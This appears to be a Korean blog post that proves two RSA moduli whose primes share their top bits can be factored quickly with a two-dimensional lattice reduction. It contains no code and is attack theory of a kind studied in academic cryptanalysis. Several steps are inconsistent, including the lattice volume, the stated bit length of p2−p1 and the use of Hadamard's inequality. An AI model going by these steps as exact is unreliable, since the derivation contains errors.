RSA를 공략하기 위한 방법 중 하나는 $N$을 소인수분해하는 것이다.

일반적으로 큰 수를 소인수분해하기는 어렵지만, 특정 조건이 맞으면 짧은 시간 내에 소인수분해를 할 수 있다.

1. Factoring 2 RSA Moduli with Shared MSBs

다음과 같이 2개의 $n$-bit RSA moduli $N$이 있다고 가정하자. $q_{i}$는 $\alpha$-bit 소수이고, $p_{i}$는 $t$개의 MSB (최상위 비트) 를 공유한다.

\[\begin{align}N_{1}&=p_{1}q_{1} \\ N_{2}&=p_{2}q_{2}\end{align}\]

$t\geq 2\alpha+3$ 이면, $N_{i}$을 $O\left(n^{2}\right)$ 시간 내에 소인수분해할 수 있다.

Proof

Lemma 1에서 정의한 lattice $L$의 reduced basis를 구하는 데 $O\left(n^{2}\right)$의 시간이 걸리고, Lemma 2에서 $t\geq 2\alpha+3$ 이면 $\mathbf{b}_{0}=\pm\mathbf{v}_{0}$ 임을 증명하였다.

Lemma 1 아래의 설명을 따라 $N_{i}$의 인수를 구할 수 있다.

Lemma 1.

행렬 $M$을 아래와 같이 정의하고, $M$의 row vector를 각각 $\mathbf{v}_{1}$, $\mathbf{v}_{2}$ 라고 하자.

\[M=\begin{bmatrix}K & 0 & N_{2} \\ 0 & K & -N_{1}\end{bmatrix},\quad K=\lfloor2^{n-t+\frac{1}{2}}\rfloor\]

행렬 $M$의 row vector의 span으로 구성되는 lattice $L$을 가정하고, $L$의 벡터 $\mathbf{v}_{0}$을 다음과 같이 정의한다.

\[\mathbf{v}_{0} = q_{1}\mathbf{v}_{1}+q_{2}\mathbf{v}_{2}=\langle q_{1}K, q_{2}K, q_{1}q_{2}(p_{2}-p_{1})\rangle\]

$p_{1}$과 $p_{2}$는 $t$개의 최상위 비트를 공유하기 때문에 $p_{2}-p_{1}$ 은 대략 $n+\alpha-t$ bit의 정수가 된다. $t$가 충분히 크다면 $\mathbf{v}_{0}$은 $L$의 shortest vector가 될 수 있고, 이 경우 $\mathbf{v}_{0}$을 $K$로 나눠 $q_{1}$과 $q_{2}$를 다항 시간 ($O(n^{2})$) 내에 구할 수 있다.

$L$의 Gramian matrix는 $MM^{T}=\begin{bmatrix}K^{2}+N_{2}^{2} & -N_{1}N_{2} \\ -N_{1}N_{2} & K^{2}+N_{1}^{2}\end{bmatrix}$ 이고, $L$의 volume은 Gramian matrix의 행렬식으로 $V=\mathrm{det}(MM^{T})=K\sqrt{N_{1}^{2}+N_{2}^{2}+K^{2}}$ 이다. $K^{2}\approx 2^{2(n-t)}$ 은 $N_{i}^{2}\approx 2^{2n}$ 에 비해 상대적으로 작기 때문에, $V\approx 2^{2n-t}$ 으로 근사시킬 수 있다.

$\mathbf{v}_{0}$이 $L$의 shortest vector라면, 이 vector의 norm $\left\lVert\mathbf{v}_{0}\right\rVert\approx 2^{n+\alpha-t}$는 $L$의 Minkowski's bound보다 작다. 따라서 아래 식이 성립한다.

\[2^{n+\alpha-t}\approx\left\lVert\mathbf{v}_{0}\right\rVert\leq\sqrt{2}V^{\frac{1}{2}}\approx 2^{n-\frac{t}{2}}\]

위 식은 $t\geq2\alpha$ 인 경우 성립한다.

Lemma 2.

Lagrange method를 통해 찾은 $L$의 basis를 $\langle\mathbf{b}_{1},\mathbf{b}_{2}\rangle$ 라고 하자. $\left\lVert\mathbf{b}_{i}\right\rVert=\lambda_{i}(L)$ 이며 Hadamard's inequality에 의해 $\mathrm{det}(L)\geq V$ 가 성립한다. 이 부등식을 풀어 아래의 두 관계를 얻을 수 있다.

\[\begin{align}\left\lVert\mathbf{b}_{1}\right\rVert&\leq\left\lVert\mathbf{v}_{0}\right\rVert \\ \left\lVert\mathbf{b}_{2}\right\rVert&\geq\frac{V}{\left\lVert\mathbf{v}_{0}\right\rVert}\end{align}\]

만약 $\mathbf{v}_{0}<\mathbf{b}_{2}$ 라면, $\mathbf{b}_{2}$가 $L$의 local minimum이기 때문에 다음 식이 성립한다.

\[\mathbf{v}_{0}=a\mathbf{b}_{1}=a(b\mathbf{v}_{1}+c\mathbf{v}_{2})\qquad a,b,c\in\mathbb{Z}\quad(ab=q_{1},ac=q_{2})\]

$q_{i}$는 소수이기 때문에 $a=\pm 1$이 되고, 따라서 $\mathbf{v}_{0}=\pm\mathbf{b}_{1}$ 이다. 이를 다시 위의 부등호에 대입하면 아래의 결과가 나온다.

\[\left\lVert\mathbf{v}_{0}\right\rVert^{2}<V\tag{1}\]

이제 $\left\lVert\mathbf{v}_{0}\right\rVert$의 upper bound와 $V$의 lower bound를 구해 $t$의 범위를 구할 것이다.

$|p_{2}-p_{1}|\leq2^{n-\alpha+1-t}$ 이므로, $\mathbf{v}_{0}$의 정의에 의해 $\mathbf{v}_{0}\leq2^{2(n-t)+1}\left(q_{1}^{2}+q_{2}^{2}\right)+q_{1}^{2}q_{2}^{2}\left(p_{1}-p_{2}\right)^{2}$ 이다. $p$와 $q$를 풀어주면 아래의 bound를 얻는다.

\[\left\lVert\mathbf{v}_{0}\right\rVert^{2}\leq2^{2(n+\alpha-t)+2}+2^{2(\alpha+n+1-t)}\leq 2^{2(n+\alpha-t)+3}\tag{2}\]

$V$는 $N_{1}, N_{2}\geq 2^{n-1}$ 과 $K^{2}\geq 2^{2(n-t)}$ 를 이용해서 아래의 boundary를 찾을 수 있다.

\[V^{2}=K^{2}\left(N_{1}^{2}+N_{2}^{2}+2^{2(n-t)}\right)>2^{4n-2t-1}\tag{3}\]

부등식 (2)와 (3)에서, (1)이 성립하기 위한 $t$의 범위는 다음과 같다.

\[t\geq 2\alpha+4\tag{4}\]

한편 $\left\lVert\mathbf{v}_{0}\right\rVert$과 $V$의 범위를 더 tight하게 구해서 $t$의 범위를 확장시킬 수 있다.

$q_{i}$는 $\alpha$-bit 소수이므로 $q_{i}\leq2^{\alpha}-1$ 이다. $2^{\alpha}-1=2^{\alpha-\epsilon_{1}}$ 로 $\epsilon_{1}$을 정의한다. $q_{i}^{2}\leq 2^{2\alpha -2\epsilon_{1}}$ 이며, $K$의 정의를 사용해서 $K^{2}q_{i}^{2}$의 upper bound를 구할 수 있다.

\[K^{2}q_{i}^{2}\leq 2^{2(n-t+\alpha)+1-2\epsilon_{1}}\tag{5}\]

$p_{i}$의 성질을 사용해 아래 부등식을 만들 수 있다.

\[q_{1}^{2}q_{2}^{2}\left(p_{2}-p_{1}\right)^{2}\leq 2^{2(n-t+\alpha+1-2\epsilon_{1})}\tag{6}\]

$\left\lVert\mathbf{v}_{0}\right\rVert^{2}$을 $p$와 $q$로 풀어서 쓴 식에 (5), (6)의 부등식을 대입해서 다음과 같이 boundary를 설정할 수 있다.

\[\left\lVert\mathbf{v}_{0}\right\rVert^{2}\leq 2^{2(n+\alpha-t)+2-2\epsilon_{1}}+2^{2(n-t+\alpha+1-2\epsilon_{1})}\leq 2^{2(n+\alpha-t)+3-\epsilon_{1}}\tag{7}\]

$2^{n-t+\frac{1}{2}}-1=2^{n-t+\frac{1}{2}-\epsilon_{2}}$ 를 만족하는 $\epsilon_{2}$를 정의한다. $K=\lfloor2^{n-t+\frac{1}{2}}\rfloor\geq 2^{n-t+\frac{1}{2}-\epsilon_{2}}$ 이고 $N_{i}^{2}\geq 2^{2n-2}$ 이므로 $V^{2}$의 lower bound는 다음과 같이 표현된다.

\[V^{2}=K^{2}\left(N_{1}^{2}+N_{2}^{2}+2^{2(n-t)}\right)>K^{2}\left(N_{1}^{2}+N_{2}^{2}\right)\geq 2^{4n-2t-2\epsilon_{2}}\tag{8}\]

(7)과 (8)의 부등식으로 (1)이 성립하기 위한 $t$의 범위를 좁힐 수 있다. $2^{2(n+\alpha-t)+3-\epsilon_{1}}\leq 2^{2n-t-\epsilon_{2}}$ 를 풀면 $t\geq 2\alpha+3+\epsilon_{2}-\epsilon_{1}$ 이 된다.

$\epsilon_{1}=\log_{2}\left(\frac{1}{1-\frac{1}{2^{\alpha}}}\right)$ , $\epsilon_{2}=\log_{2}\left(\frac{1}{1-\frac{1}{2^{n-t+\frac{1}{2}}}}\right)$ 이고 $\alpha\leq n-t$ 이므로, $\epsilon_{2}\leq\epsilon_{1}$ 이고 $t\geq 2\alpha+3$ 이 된다.

Reference

https://hal.archives-ouvertes.fr/hal-01288914/document

https://en.wikipedia.org/wiki/Minkowski%27s_theorem

https://en.wikipedia.org/wiki/Minkowski%27s_bound

https://en.wikipedia.org/wiki/Hadamard%27s_inequality